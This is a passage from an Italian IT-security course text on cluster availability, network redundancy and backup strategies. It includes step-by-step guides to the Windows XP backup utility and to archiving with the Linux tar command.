massimo le prestazioni rispetto allesigenza di assicurare
affidabilit sulle singole transazioni. Il tipico esempio
quello del web server per siti ad alta intensit di traffico.
Data la natura del traffico Web HTTP (composto da innu-
merevoli richieste elementari, la stragrande maggioranza
delle quali di sola lettura), lesigenza primaria sta nella
riduzione del tempo di latenza prima che una richiesta
venga servita e, in subordine, nella riduzione del tempo
necessario per servire ogni richiesta; invece una que-
stione assai meno rilevante il concetto di transazionalit,
ossia la garanzia che tutte le operazioni collegate a una
determinata transazione vadano a buon fine prima che la
transazione possa essere considerata completa oppure
lannullamento delle stesse in caso contrario.
Se il livello di throughput richiesto non risulta rag-
giungibile con un singolo server, non resta che ricorrere
a uno schema parallelo, con un raggruppamento (cluster)
di unit di elaborazione gestito da politiche di bilancia-
mento del carico di lavoro (load balancing), che assegna-
no le richieste HTTP in arrivo allunit di elaborazione in
quel momento pi scarica. Fra laltro, a parit di capacit
di calcolo complessiva del sistema, la soluzione parallela,
basata su un gran numero di esecutori a medie presta-
zioni, risulta generalmente pi economica e certamente
pi scalabile di una soluzione single CPU ad elevatissi-
me prestazioni.
Il clustering pu essere, per, usato anche per miglio-
rare la disponibilit del sistema nel suo complesso attra-
verso un aumento di affidabilit. In sistemi di questo tipo
possono essere ridondati le CPU, le schede di rete e altri
componenti hardware essenziali; la commutazione, a se-
conda dei casi, pu avvenire in modo immediato e traspa-
rente oppure con coinvolgimento del software e del siste-
ma operativo (e quindi con minor immediatezza). Per
esempio, nel primo caso, due schede di rete normali pos-
sono essere viste dal software come una unica scheda di
rete ad affidabilit circa doppia; nel secondo caso, unap-
plicazione di monitoraggio che rilevasse una condizione
anomala sullistanza primaria in esecuzione del software
potrebbe decidere di far subentrare il server di riserva e
far dirottare su di esso il futuro carico di lavoro.
Negli schemi con clustering abbastanza normale che
pi unit di elaborazione accedano a un sottosistema di
storage condiviso; per un ulteriore aumento di affidabilit
possibile dotarsi anche di un sistema di memorie di mas-
sa a sua volta totalmente ridondato, tuttavia questa scel-
ta determina un rilevante aumento dei costi senza neces-
sariamente riuscire ad eliminare la causa pi probabile e
frequente di disfunzione del sistema, che dovuta al
software (applicazioni e sistema operativo).
Il funzionamento delle applicazioni in cluster richiede
accortezze particolari in fase di progetto e sviluppo del
software, unamministrazione di sistema pi complessa e
competenze specifiche per la risoluzione di eventuali mal-
funzionamenti.
Daltra parte, lutilizzo di sistemi cluster generalmente
pu aprire possibilit interessanti, come quella di effet-
tuare lupgrade delle macchine anche durante il loro fun-
zionamento, senza interruzione totale del servizio grazie
alla possibilit di allontanare temporaneamente il carico
di lavoro dal server che deve essere oggetto di azioni di
manutenzione o aggiornamento.
Esiste una distinzione importante tra sistemi in cluster
a high availability (HA) e fault tolerant. Con High Avai-
lability sintende la capacit del sistema di superare un sin-
golo punto di guasto a uno dei propri componenti me-
diante limpiego di soluzioni hardware o software che per-
mettano di riprendere lelaborazione dopo il guasto. Fault
Tolerant indica invece la capacit di un sistema di rispon-
dere in maniera controllata a un guasto hardware o softwa-
re, solitamente spegnendosi o fermandosi e trasferendo il
proprio carico di lavoro a un componente o sistema repli-
cato (mirror) che in grado di continuare lelaborazione
iniziata.
1) Negli schemi High Availability, la salvaguardia dello sta-
to del sistema affidata ai dati salvati sulla memoria di
massa condivisa (o al database condiviso): si tratta di
una filosofia adeguata per le soluzioni applicative dove
leventuale perdita dei dati in RAM non avrebbe che un
impatto circoscritto sulla funzionalit del sistema (clas-
sico esempio, ancora una volta, i Web server). Il recu-
pero della normale funzionalit potrebbe avvenire fin
dalla prima transazione successiva allevento critico,
dopo che un apposito processo failover avesse prov-
veduto a dirottare il lavoro su un altro processo server.
2) I sistemi fault tolerant sono invece progettati per man-
tenere addirittura una copia calda, integrale, conti-
nuamente aggiornata, anche dei dati in memoria cen-
trale. In questo caso lelaborazione pu commutare e
proseguire senza alcuna perturbazione significativa,
ma tuttal pi con un leggero e momentaneo calo di pre-
stazioni.
Unaltra distinzione riguarda larchitettura del sistema
di memorie di massa. Esistono tre schemi principali:
1) Dischi condivisi: le CPU accedono in modo concorren-
te a un unico sistema dischi. Tale schema fornisce ga-
ranzie strutturali di allineamento dei dati visti dai va-
ri sistemi, ma presenta svantaggi. Per evidenti neces-
sit di controllo della concorrenza, tale accesso deve
essere regolato da un arbitro (Distributed Lock Ma-
nager) che aumenta la complessit e riduce le presta-
zioni del sistema. Generalmente la distanza fisica delle
5.4.2.2 Essere al
corrente delle diverse
metodologie di
replicazione host e
meccanismi di
distribuzione e
bilanciamento del
carico (load
distribution e load
balancing)
CPU dal sistema dischi deve essere bassa, per motivi
tecnici.
2) Dischi in mirroring: ogni CPU ha un proprio sistema di-
schi e un apposito sistema di replicazione che provve-
de a rilevare tutte le sue scritture su disco e a replicar-
le sulle unit a disco dellaltra CPU, attraverso un col-
legamento LAN. Rispetto allo schema precedente cala-
no i costi, ma anche le garanzie di perfetta e costante
identit dei dati tra le varie unit disco e anche la sca-
labilit del sistema minore.
3) Nessuna condivisione: in condizioni di funzionamento
normale, non vi sono risorse disco condivise fra le CPU:
tali risorse sono controllate e utilizzate solo dalla CPU
attiva. Solo in caso di malfunzionamento di questulti-
ma scatta un meccanismo che trasferisce la pro-
priet di tali risorse alla CPU di riserva che subentra
a quella in crisi.
Scalabilit e disponibilit sono simili a quelle ottenibi-
li con la prima soluzione (anche se il trasferimento di
propriet pu richiedere un tempo non trascurabile);
la mancanza di un Distributed Lock Manager inoltre ri-
duce la complessit del sistema.
Infrastrutture per la disponibilit della rete
Non basta garantire la disponibilit dei dati memoriz-
zati su disco e la disponibilit delle unit di elaborazione,
con schemi a ridondanza pi o meno marcata, per assi-
curare complessivamente la disponibilit del servizio. Un
aspetto fondamentale riguarda infatti la disponibilit del-
la connessione di rete attraverso la quale gli utenti acce-
dono al servizio, oppure della LAN che interconnette i si-
stemi che concorrono a erogare il servizio, oppure anco-
ra della LAN (o SAN) che collega questi ultimi alle unit di-
sco condivise.
Come ogni componente dellarchitettura, anche la LAN
pu guastarsi o semplicemente andare incontro a feno-
meni di congestione, e ancora una volta le strategie per
aumentare laffidabilit o per migliorare le prestazioni
condividono la filosofia di base: ridondanza.
Nel caso delle reti la ridondanza pu attuarsi con mo-
dalit diverse a seconda del tipo di tecnologia di rete (ve-
di la tabella sulla ridondanza).
In generale, in uninfrastruttura di rete, i punti di criti-
cit riguardano:
La connessione al provider esterno
Il servizio offerto dal provider esterno
Il cablaggio interno
Le schede di rete
Gli apparati attivi di rete
Per quanto riguarda le cause esterne di malfunziona-
mento, una prima forma di autotutela non tecnologica
pu consistere nel negoziare col provider un Service Le-
vel Agreement (SLA) con tanto di penali in caso di mal-
funzionamenti di entit e frequenza superiori a determi-
nate soglie contrattuali. In tal caso assume particolare im-
portanza poter disporre di strumenti di misura per rile-
vare (ed eventualmente dimostrare in sede di contenzio-
so) quando si producono tali malfunzionamenti.
Come accennato in tabella, inoltre, una strategia effi-
cace consiste anche nel ridondare (almeno duplicare) il
collegamento al provider esterno, oppure nel collegarsi a
due provider diversi: rispetto alla prima, questa seconda
strategia complica le cose dal punto di vista degli schemi
di indirizzamento e pu anche dare luogo a scompensi
qualora la banda disponibile sia molto diversa sulle due
connessioni, ma conferisce un interessante grado di pro-
tezione dallisolamento totale anche in caso di guasti se-
veri al backbone (dorsale) del network provider.
I rischi dovuti a cause interne possono essere mitigati
con la ridondanza sui cavi, sulle schede di rete o sugli ap-
parati attivi.
Per quanto riguarda il cablaggio in particolare consi-
gliabile che la ridondanza dei collegamenti sia sempre ac-
compagnata anche da una differenziazione del percorso fi-
sico seguito dal cavo. In sostanza, preferibile che i due
link corrano in due cavidotti distinti e separati. Diversa-
mente si correrebbe il rischio che una lesione strutturale
accidentalmente prodotta a un unico cavidotto provochi
linterruzione contemporanea sia del link primario sia di
quello di scorta.
Tabella Ridondanza.
Accorgimenti tecnologici
per conferire ridondanza
in vari tipi di rete
Tipo di rete
LAN
WLAN (WiFi)
WLAN (WiFi)
WAN
Reti di trasporto
(SDH/WDM)
Schema
di ridondanza
Duplicazione della
scheda di rete
Antenna Diversity
(duplicazione
dellantenna)
Installazione di pi
Access Points
operanti su pi canali
Collegamento a due
ISP diversi (oppure
doppio collegamento
allo stesso ISP) per
resistere a
malfunzionamenti sul
last mile
Network Protection;
Network Restoration
Logica di funzionamento
Qualora lautodiagnosi riveli un guasto a
una delle due schede, un apposito sistema
fa subentrare la scheda di scorta, con lo
stesso indirizzo di rete della scheda fuori
servizio
Un circuito provvede a monitorare
costantemente il livello di disturbo, echi,
riflessioni, etc., rilevato in ricezione su
ognuna delle due antenne e sceglie quella
con la migliore ricezione
Le schede di rete sui client possono
commutare automaticamente sul canale
migliore
Il router rileva eventuali interruzioni di
servizio su uno dei due link e in base a
regole precedentemente impostate
provvede a dirottare il traffico sullaltra
direttrice Internet. In condizioni normali il
traffico pu essere avviato a entrambe le
direttrici per aumentare la banda
complessiva
I circuiti sono completamente ridondati e il
tasso derrore tenuto sotto sorveglianza
hardware.
Gli apparati di rete (protection) o i sistemi di
gestione di rete (restoration) provvedono a
deviare il traffico su un path alternativo in
caso di guasto o tasso derrore eccessivo
Effetto ai morsetti
Le due schede di rete sono viste
dal sistema operativo e dalle
applicazioni come ununica
scheda di rete a maggiore
affidabilit
Il link di rete wireless appare pi
stabile e il throughput maggiore
I client osservano un
momentaneo disservizio solo in
caso di passaggio ad altro canale
Gli applicativi di rete vedono
una connessione Internet con
disservizi sporadici e facilmente
recuperabili
Gli strati di rete che si avvalgono
della rete di trasporto vedono
connessioni affidabili. La
commutazione comporta
uninterruzione di servizio di
pochi millisecondi
5.4.2.3 Conoscere
diversi tipi
d'infrastrutture per
la disponibilit della
rete (per LAN, WAN,
WLAN etc)
Il backup/restore locale e in rete
Dotarsi di un sistema di memoria di massa RAID di tipo
idoneo assicura di non poter mai perdere dati? Purtroppo
no. Larchitettura RAID (escluso RAID 0, con puro striping,
che finalizzato soltanto allaumento di prestazioni) forni-
sce garanzie contro le perdite di dati dovute a guasto fisi-
co di un certo numero prestabilito di unit disco.
Nulla pu, per, contro la cancellazione o lalterazione di
dati dovuta a un malfunzionamento software, sia esso sca-
tenato da un bug dellapplicazione o del sistema operativo,
oppure da un virus, da un malware o da altre minacce ana-
loghe. Ironicamente, anche se nello schema RAID i dischi
fossero fisicamente raddoppiati o triplicati, in caso di at-
tacco da parte di un virus che (per esempio) formatta il di-
sco fisso, tutto quello che RAID ci garantirebbe sarebbe sol-
tanto di replicare esattamente tale formattazione su tutte le
copie del disco!
dunque necessario prendere contromisure anche per
resistere allalterazione dei dati dovuta a cause software e
per assicurarsi la possibilit di regredire tale danno, alme-
no entro un certo lasso di tempo. In questo caso, limme-
diatezza o la simultaneit della copia dei dati che viene ef-
fettuata dagli schemi RAID lesatto contrario di ci che oc-
corre. Serve in realt una copia dei dati fredda, ma non
troppo: fredda, per tenerla fuori pericolo rispetto a mal-
funzionamenti software che potrebbero danneggiarla irre-
parabilmente online come la copia calda, rendendola
del tutto inutile ai fini di un eventuale ripristino; ma non
troppo fredda, perch una copia molto vecchia non d con-
to di troppe modifiche (legittime e intenzionali) intervenu-
te sui dati prima del verificarsi dellerrore software o dello
scatenarsi del virus. Sarebbe ovviamente desiderabile che
un recupero dei dati riuscisse a ricostruire tali informazio-
ni dalla copia fredda. Tuttavia importante rendersi conto
del fatto che una ricostruzione di tutte le modifiche inter-
venute sui dati, fino allultima modifica, quella dannosa
(esclusa questultima, ovviamente), non pu avvenire sol-
tanto con copie fredde periodiche dei dati. Occorre affian-
carle, per esempio, con un log cronologico e non cancella-
bile delle transazioni avvenute in seguito. Mediante tale ab-
binata, si potrebbe ripartire dallo stato integrale salvato
nellultima copia fredda e da l proseguire, rieseguendo in
sequenza le transazioni memorizzate sul log fino alla pe-
nultima transazione, compresa.
Tale schema logico pu essere attuato usando lultimo
backup integrale pi lultimo backup differenziale, oppure
lultimo backup integrale pi tutti i backup incrementali
successivi ad esso.
Anche i file system con journaling (come NTFS nel mon-
do Windows, oppure Ext3, ReiserFS, XFS e JFS nel caso di Li-
nux) mantengono una storia delle modifiche elementari in-
tervenute sulla struttura del file system stesso, ma con uno
scopo differente: assicurare la transazionalit delle opera-
zioni, che a livello logico-applicativo devono avvenire in
modo atomico (creazione di una directory, creazione di un
file, aumento delle dimensioni di un file, cancellazione), ma
che a basso livello si traducono in realt in una sequenza
di passi elementari. Tali operazioni, sviluppandosi in modo
transazionale, lasciano il disco in uno stato consistente op-
pure, in caso di prematura interruzione del funzionamento,
in uno stato inconsistente dal quale per ci si possa auto-
maticamente riportare in uno stato consistente utilizzando
il log delle operazioni elementari effettuate (il journal, ap-
punto). Per dirla con terminologia database, lultima tran-
sazione, avvenuta sul file system in modo incompleto, su-
bir un rollback.
La tecnica assicura che per il ripristino di uno stato per-
fettamente consistente del file system bastino pochi se-
condi, senza bisogno di effettuare ogni volta una scansione
integrale del disco, a forza bruta, alla ricerca di possibili
errori. La disponibilit di tool di scansione resta comunque
necessaria per il recupero di situazioni in cui il deteriora-
mento delle strutture su disco e dello stesso journal siano
tali da rendere impossibile il recupero transazionale auto-
matico.
Per approfondimenti sui journaling file systems (con
particolare riferimento a Linux) si veda ad esempio
http://www.linux-mag.com/2002-10/jfs_01.html. Per NTFS si
veda ad esempio http://www.microsoft.com/win-
dows2000/community/centers/fileervices/fileervices_faq.
mspx.
I backup
Le copie fredde, ma non troppo a cui abbiamo pocan-
zi accennato vanno tecnicamente sotto il nome di copie di
back-up o backup tout court.
Nonostante si tratti semplicemente di copie dei file
presenti sul disco, esistono almeno tre strategie fonda-
mentali per effettuarle, che differiscono per il criterio di se-
lezione dei file da salvare: tutti o solo quelli recentemente
modificati, con due sfumature di significato per recente-
mente. (v. tabella Tipi di backup).
Oltre ai tipi di backup, che avvengono in modo puntua-
le a scadenze regolari secondo un piano di backup apposi-
tamente stabilito dallamministratore di sistema, esiste una
diversa politica di backup secondo la quale la copia di si-
curezza dei file avviene continuativamente durante il fun-
zionamento dei sistemi. Il vantaggio consiste nel fatto che
i sistemi non devono essere fermati durante il backup, inol-
tre non vi mai uno specifico momento del giorno in cui il
sistema fortemente rallentato perch sta eseguendo il
backup. Vi invece un costante, ma minimo rallentamento
dovuto allattivit di backup che procede regolarmente in
background. Questo tipo di backup continuo detto on-
line backup, in contrapposizione con i backup effettuati in
modo puntuale che sono spesso chiamati offline
backup.
Attenzione allambiguit dellespressione online
backup che pu anche essere usata per riferirsi a un
backup effettuato su un server di rete, magari addirittura
su un sito Internet, anzich su unit disco locali. Il vantag-
gio del backup eseguito in tal modo consiste nel fatto che
i dati possono risultare accessibili da molti punti diversi e
non solo dallinterno dei locali dellorganizzazione. Si trat-
ta quindi di una procedura utile per chi spesso fuori se-
de, ma pone anche seri problemi di riservatezza dei dati
salvati: non soltanto il provider dello spazio su disco onli-
ne usato per il backup deve garantire la privacy dei dati sal-
vati sul suo sito, ma il controllo degli accessi devessere
adeguato, per evitare che attacchi da Internet permettano
a chiunque di entrare in possesso dei dati salvati sul disco
online. In generale bene usare cautela nellimpiego di ser-
vizi di backup online e in particolare evitare i servizi gra-
tuiti o a basso costo che non possono offrire il livello di pro-
tezione necessario. Esistono provider che eseguono la ci-
fratura integrale delle informazioni e che, di conseguenza,
richiedono costi maggiori, ma pienamente giustificati.
Se il backup avviene con regolarit, a certe ore del gior-
no (pi spesso, della notte), su dischi condivisi in rete sul-
la LAN aziendale, possibile ed opportuno studiare lentit
dei flussi di dati e tenerne sotto controllo levoluzione nel
tempo, anche per intervenire con opportune azioni prima
che si produca la saturazione della rete durante lesecu-
zione dei backup.
Le valutazioni per il dimensionamento della rete, per la
definizione della concentrazione o distribuzione delle sta-
zioni di backup, per la scelta della periodicit e del tipo di
backup da effettuare e per stabilire gli orari esatti ai quali
far scattare i backup delle varie macchine devono basarsi
su quattro fattori.
1) una stima della quantit di dati da trasferire,
2) una misura della banda mediamente disponibile sulla
5.4.3.1 Essere in
grado di definire ed
utilizzare efficaci
procedure di backup
(locali e di rete)
5.4.3.2 Saper
verificare il buon
esito di un processo
di backup. Conoscere
le procedure per il
ripristino
LAN aziendale nella fascia oraria in cui si prevede di far
scattare il backup,
3) il numero di macchine da sottoporre a backup,
4) la topologia della rete che interconnette le macchine e le
stazioni di backup.
Se il servizio di backup per tutte le macchine fornito da
ununica stazione di memorizzazione connessa alla rete
aziendale, il collo di bottiglia diventa immediatamente la
connessione di rete di tale sistema. Al crescere del nume-
ro di macchine da sottoporre a backup e delle dimensioni
del disco di ognuna di esse, anche adottando le politiche
pi prudenti, si arriver presto alla saturazione di tale col-
legamento. Si dovr allora pensare, ad esempio, a un up-
grade dellinfrastruttura di rete, magari con una sua gerar-
chizzazione, oppure allinstallazione di pi stazioni di
backup operanti in parallelo e attestate ognuna sul tron-
cone di rete che ospita le macchine da servire, in modo ta-
le da ripartire pi efficacemente il traffico e il carico di
backup.
Le unit di backup possono essere basate su hard disk,
nastri o dischi ottici. Queste tecnologie hanno caratteristi-
che diverse sotto vari punti di vista (costo per GByte dei
supporti, costo per GByte dei drive, throughput in lettu-
ra/scrittura, tempo di accesso medio in modalit recupero,
durata dei supporti, numero massimo di cicli di
lettura/scrittura sopportabili).
La scelta di quale tecnologia impiegare deve farsi caso
per caso, tenendo conto di cinque fattori.
1) frequenza del backup. I dischi ottici riscrivibili hanno un
numero massimo di cicli lettura/scrittura sopportabili.
2) velocit alla quale si prevede che affluiranno i dati. Il th-
roughput delle unit a nastro e hard disk solitamente
maggiore di quello delle unit ottiche (specie in scrittu-
ra).
3) stima della probabilit che si renda necessario un ripri-
stino di dati: se queste operazioni sono molto frequenti,
le unit a nastro, ad accesso sequenziale, non sarebbe-
ro particolarmente indicate.
4) quantit totale di dati soggetti a backup. Se questa quan-
tit enorme, lalta densit di memorizzazione e il bas-
so costo per GByte delle unit a nastro possono essere
ideali.
5) lunghezza della storia di backup che si desidera man-
tenere. Vedi punto precedente.
Effettuare backup e restore in ambiente
Windows XP
Con riferimento a Windows XP e alla utility di backup
che Microsoft fornisce insieme al sistema operativo, ve-
diamo ora come si procede per effettuare un backup. In
questo caso particolare effettueremo un backup integrale
di una specifica cartella del PC locale (My Documents), sal-
vando i dati in una cartella creata appositamente su un di-
sco di rete.
1 - welcome to backup wizard.bmp
Anzitutto lanciamo lapplicazione Backup con Start/Tutti i
programmi/Accessori/Utilit di sistema/Backup. Se la
prima volta che utilizziamo il programma e non abbiamo
mai alterato le sue impostazioni predefinite, si presenter
questa schermata. Consigliamo di fare clic su Modalit
avanzata per avere pieno controllo sulle numerose opzioni
disponibili.
2 - Dopo aver selezionato Modalit avanzata, appare la
schermata principale del programma. Consigliamo, almeno
la prima volta, di seguire la procedura guidata (Wizard)
facendo clic sul primo dei tre pulsanti.
3 - Ci troviamo cos nuovamente alla schermata di avvio
del Wizard, ma questa volta preimpostata la Modalit
Rappresentazione
schematica del volume di
dati trattato nel tempo
con i tre tipi fondamentali
di backup. Con il backup
integrale i backup set
hanno tutti dimensioni
elevate. I backup
incrementali hanno
dimensioni dipendenti
dalle modifiche
intervenute sul file
system dallultimo
backup incrementale.
I backup differenziali
hanno generalmente
dimensioni crescenti in
quanto accumulano le
modifiche intervenute sul
file system dallultimo
backup integrale; le
dimensioni del backup
set tornano modeste
subito dopo che viene
eseguito un nuovo
backup integrale
1 - Backup
integrale
2 - Backup
incrementale
3 - Backup
differenziale
Disco dati backup
Tipo backup: incrementale - Che cosa viene salvato: tutti i
file creati o modificati dopo il pi recente fra lultimo backup
integrale e lultimo backup incrementale - Come avviene il
recupero: si prendono in considerazione lultimo backup
integrale e tutti i backup incrementali effettuati da allora in
poi - Vantaggi: il backup pu essere eseguito
frequentemente in quanto richiede poco tempo e poco
spazio su disco (v. figura). Si riduce cos la finestra di
lavoro fatto non protetta da backup - Svantaggi: il recupero
dei dati richiede un tempo non breve, in quanto occorre
prendere in considerazione lultimo backup integrale e tutti i
successivi backup incrementali
Tipo backup: differenziale - Che cosa viene salvato: tutti i
file creati o modificati dopo lultimo backup integrale -
Come avviene il recupero: Si prendono in considerazione
lultimo backup integrale e solo lultimo dei backup
differenziali effettuati dopo di esso - Vantaggi: il recupero
dei dati pi veloce che con il backup incrementale -
Svantaggi: Il recupero dei dati leggermente pi lento che
con il backup solo integrale.
La dimensione del backup differenziale non mai inferiore
a quella di un backup incrementale fatto nelle stesse
condizioni e continua a crescere (v. figura) fino al prossimo
backup integrale.
Tipo backup: integrale - Che cosa viene salvato: lintero
contenuto delle aree di file system per le quali stato
impostato il backup - Come avviene il recupero: si prende
in considerazione lultimo backup integrale - Vantaggi: Il
recupero dei dati facilitato in quanto il backup set
contiene unimmagine del file system completa di tutti i file
- Svantaggi: lesecuzione del backup molto lenta e
richiede una grande quantit di spazio (v. figura), perci non
pu essere eseguita troppo frequentemente. Non conviene
usare questo schema di backup da solo, ma abbinarlo a
uno dei due successivi.
TIPI BACKUP
1
avanzata. Premiamo Avanti per accedere alle prime
opzioni.
4 - La prima scelta da compiere riguarda larea
macroscopica interessata dal backup. possibile salvare
tutti i dati e impostazioni memorizzati sul computer, oppure
un sottoinsieme specificato, oppure ancora le sole
impostazioni di sistema. Per il nostro esempio scegliamo
di salvare un sottoinsieme dei file del disco (seconda
opzione).
5 - Avendo deciso di salvare solo alcuni dei file su disco,
nella fase successiva ci viene richiesto di scegliere quali.
Nel nostro esempio supponiamo di voler salvare la cartella
Documenti, perci contrassegnamo la casella nellelenco
di sinistra. Il segno di selezione qui appare in blu, a
significare che loggetto integralmente selezionato. A
destra vediamo invece che accanto allunit C apparso
un segno di spunta verde (e non blu), perch la cartella
Documenti rappresenta solo un sottoinsieme del disco C:,
che risulta quindi solo parzialmente interessato
dalloperazione
6 - Il passo successivo consiste nella scelta dellunit di
storage destinataria del backup. Se lelenco a discesa di
opzioni offerte non contiene quella desiderata, possibile
selezionare una destinazione diversa. Nel nostro caso
desideriamo salvare i dati su un disco di rete non
compreso in elenco, quindi facciamo clic su Sfoglia... per
selezionarlo.
7 - Nel dialog box che appare scegliamo lunit disco di
rete ed eventualmente creiamo una cartella (Backup PC1)
in cui depositare il backup. inoltre necessario scegliere
un nome per il backup, nella casella Nome file in basso.
Scegliamo il nome backup PC1 e facciamo clic su
Salva.
2
3
4
5
6
7
8 - Una volta selezionata lunit disco e cartella di
destinazione ed il nome del backup, veniamo riportati nella
schermata del wizard. Premiamo Avanti per passare alla
fase finale.
9 - Nella videata conclusiva vediamo un riepilogo delle
impostazioni di base relative al job di backup di imminente
attivazione. tuttavia presente un pulsante Avanzate che
d accesso a ulteriori impostazioni per un controllo fine su
tempi e modi delloperazione. Premiamolo.
10 - La prima opzione riguarda il tipo di backup.
Incrementale e Differenziale corrispondono alle tipologie
discusse nella Tabella Tipi di backup. Normale
corrisponde a un backup integrale, in quanto salva i file e li
marca tutti come archiviati. Copia salva i file, ma non li
marca come archiviati. Giornaliero una sorta di backup
incrementale che salva i file creati o modificati in data
odierna, indipendentemente dal fatto che fossero gi stati
salvati da un precedente backup; inoltre, i file creati o
modificati prima di oggi, ma dopo lultimo backup
effettuato resterebbero non salvati. Se si decide di
utilizzare lopzione Giornaliero, consigliamo di farlo solo
quotidianamente e solo se si ben certi delleffetto che si
sta ottenendo.
Per il nostro esempio selezioniamo Normale.
11 - Questa schermata consente di richiedere la verifica
dei dati scritti (vivamente raccomandato), di selezionare la
compressione hardware dei dati, ove disponibile, e di
attivare o disattivare la modalit copia replicata del
volume che effettua comunque il backup dei file anche se
sono aperti in scrittura da qualche processo.
12 - La schermata successiva consente di scegliere se
aggiungere backup a quelli gi esistenti nella cartella di
destinazione oppure se rimpiazzare i backup vecchi con
quelli nuovi. In questo secondo caso, date le implicazioni
di sicurezza, offerta unulteriore opzione per restringere
laccesso al solo proprietario o amministratore del
sistema.
13 - Vi poi una schermata che consente di scegliere se
eseguire il backup subito o in un secondo tempo. Se si
desidera differirlo sufficiente selezionare In seguito e
premere Imposta pianificazione: apparir una finestra
con le necessarie regolazioni.
14 - Nella scheda Pianificazione processo possibile
scegliere tra varie possibili periodicit per lesecuzione del
backup appena definito. Oltre alla periodicit possibile
selezionare lorario di avvio. Premendo il pulsante
Avanzate si ha accesso a ulteriori opzioni di
programmazione.
8
9
10
11
12
15 - Da questa finestra possibile determinare il periodo
di tempo durante il quale deve considerarsi valida la
programmazione espressa nella schermata precedente
(per esempio: il backup giornaliero dovr essere eseguito
solo per i prossimi 15 giorni).
anche possibile impostare una ripetizione continua del
task con una certa periodicit, o per un certo tempo, o
ancora fino a un certo momento.
16 - La scheda Pianificazione processo permette ad
esempio dinterrompere i backup la cui esecuzione stia
prendendo troppo tempo, o di farli eseguire solo se e
quando il computer scarico di lavoro da un certo
tempo, di escludere le operazioni di backup quando il PC
sta funzionando a batterie (per non rischiare di restare a
secco a met backup, compromettendone lintegrit e
rendendolo di fatto inutile).
17 - Una volta completate le impostazioni, il Wizard
presenta una schermata conclusiva con il riepilogo delle
opzioni impostate. Controlliamole e premiamo Fine per
procedere (o Indietro, se desiderato, per correggerle).
18 - Cos si presenta la schermata di monitoraggio dello
stato di avanzamento del backup. La stima di tempo
mancante al completamento delloperazione importante
perch, nel caso di backup di rete, consente di studiare il
tempo di impegno della LAN da parte di ogni PC soggetto a
backup. In reti non troppo grandi, questo permette
allamministratore di programmare lora di inizio e la durata
delle operazioni di backup dei singoli PC per evitare che,
accavallandosi, esse causino congestione nella rete e
sovraccarico sul file server destinatario dei backup.
19 - Al termine delloperazione viene generato un log in
forma testuale che pu essere visualizzato in Blocco note
13
14
15
16
17
18
premendo lapposito pulsante. Nella figura vediamo come
si presenta il log generato dal nostro esempio di backup
integrale.
20 - Loperazione di ripristino (restore) nettamente pi
semplice di quella di backup. Una volta lanciato lo
strumento in Modalit avanzata e selezionata la scheda
Ripristino, appare uninterfaccia per la selezione di uno o
pi file o cartelle da recuperare. sufficiente
contrassegnare una cartella nellalbero di sinistra (oppure
un file nellelenco di destra) e scegliere la destinazione
dallelenco a discesa in basso: i file possono essere
ripristinati nelle posizioni originali (sovrascrivendo eventuali
modifiche successive) oppure in una posizione differente,
che andr eventualmente specificata. Lopzione Singola
cartella consente infine di ripristinare tutti i file selezionati
in una singola directory piatta specificata, perdendo
quindi la strutturazione in cartelle del backup originario.
Una volta fissate le opzioni si preme Avvia ripristino per
avviare il processo. Da notare che linterfaccia di controllo
per il restore pu essere usata (senza lanciare il restore
vero e proprio) anche solo per controllare quali file sono
stati effettivamente archiviati nel file di archivio.
21 - Cos si presenta la quarta e ultima scheda
dellinterfaccia avanzata dello strumento di
backup/ripristino di Windows XP. Si tratta di un vero e
proprio calendario per la pianificazione dei backup. Per
programmare che un backup avvenga a una certa data
sufficiente selezionarla sul calendario e premere Aggiungi
processo. Verr cos lanciato il wizard che ben
conosciamo, con le date preimpostate secondo la
selezione appena effettuata. Le altre opzioni dovranno
essere impostate nel modo consueto. Alla fine si ritorner
a questa schermata, con unicona nella casella della data
interessata dal job di backup appena programmato.
Effettuare backup e restore in ambiente Linux
Anche per il backup in ambiente Linux non mancano le
utility con interfaccia grafica amichevole, bene abi-
tuarsi ad usare gli strumenti che esistono sicuramente in
tutte le installazioni: il comando di archiviazione tar, le uti-
lity di compressione/decompressione compress/uncom-
press, gzip/gunzip, zip/unzip e il meccanismo di tempo-
rizzazione-programmazione cron/crontab.
Il comando tar deve il suo nome allacronimo Tape AR-
chive: un nome risalente allepoca in cui il backup, dato il
costo proibitivo dei dischi di alta capacit, si faceva sempre
su nastro. Si pu pensare a questo comando come a un PK-
ZIP privo dinterfaccia grafica. Come ZIP, tar in grado di
leggere un albero di cartelle e file e di salvarli in un unico
file archivio (normalmente con suffisso .tar e perci detto
tar file, in modo analogo al fatto che un file .ZIP chia-
mato zip archive), ricordando anche la struttura dellal-
bero. Il file archivio pu venire salvato su un file system ba-
sato su hard disk oppure, per esempio, su unit a nastro.
Per esempio, nel caso del disco fisso:
tar cvf mioarchivio.tar /usr/marco/cartella-da-archiviare/*
Il comando sopra crea il file mioarchivio.tar nella direc-
tory corrente. Il file contiene un salvataggio completo del-
lalbero di file system sotteso alla directory specificata co-
me ultimo parametro. A tal fine la directory viene visitata
ricorsivamente e in modo esaustivo dal comando tar.
Il parametro cvf sta a indicare che il tar file deve essere
Creato (c) con il Filename (f) specificato come para-
metro immediatamente successivo e che durante il pro-
cesso dovr essere emesso un output diagnostico Verboso
(v) che riferisca sulle operazioni in corso, sui file inte-
ressati dallarchiviazione e sulla loro dimensione man ma-
no che vengono inseriti nel tar file.
possibile (e caldamente raccomandabile, allo scopo di
verificare che larchivio sia stato creato correttamente) ri-
chiedere al comando tar di mostrare lelenco integrale del
contenuto di un determinato tar-file, senza tuttavia estrar-
re i file che vi sono contenuti: per esempio:
tar tvf mioarchivio.tar
In questo caso la lettera t sta per Table of contents:
ci che si chiede infatti di stampare il sommario del-
larchivio. Lelenco dei file viene stampato su stdout e nel-
la probabile ipotesi che sia troppo lungo sar bene man-
dare loutput di tar in pipe a more: ci consentir la lettu-
ra pagina per pagina (spazio per avanzare, q per inter-
rompere).
tar tvf mioarchivio.tar | more
Lo stesso comando tar usato per creare larchivio svol-
ge anche la funzione inversa, ossia a partire dal file archi-
vio in grado di ricostruire lalbero di file e cartelle origi-
nario integralmente o parzialmente, o anche di estrarre sin-
goli file specificati.
tar xvf mioarchivio.tar
19
20
21
Questa volta tar effettuer unoperazione di eXtract
(x) di tutto il contenuto del tar-File (f) specificato, sem-
pre generando un diagnostico Verboso (v). Lalbero di fi-
le verr ricreato sotto la directory corrente.
Se avessimo voluto estrarre solo un particolare file sa-
rebbe stato sufficiente specificarne il nome come secondo
parametro:
tar xvf mioarchivio.tar soloquestofile.txt
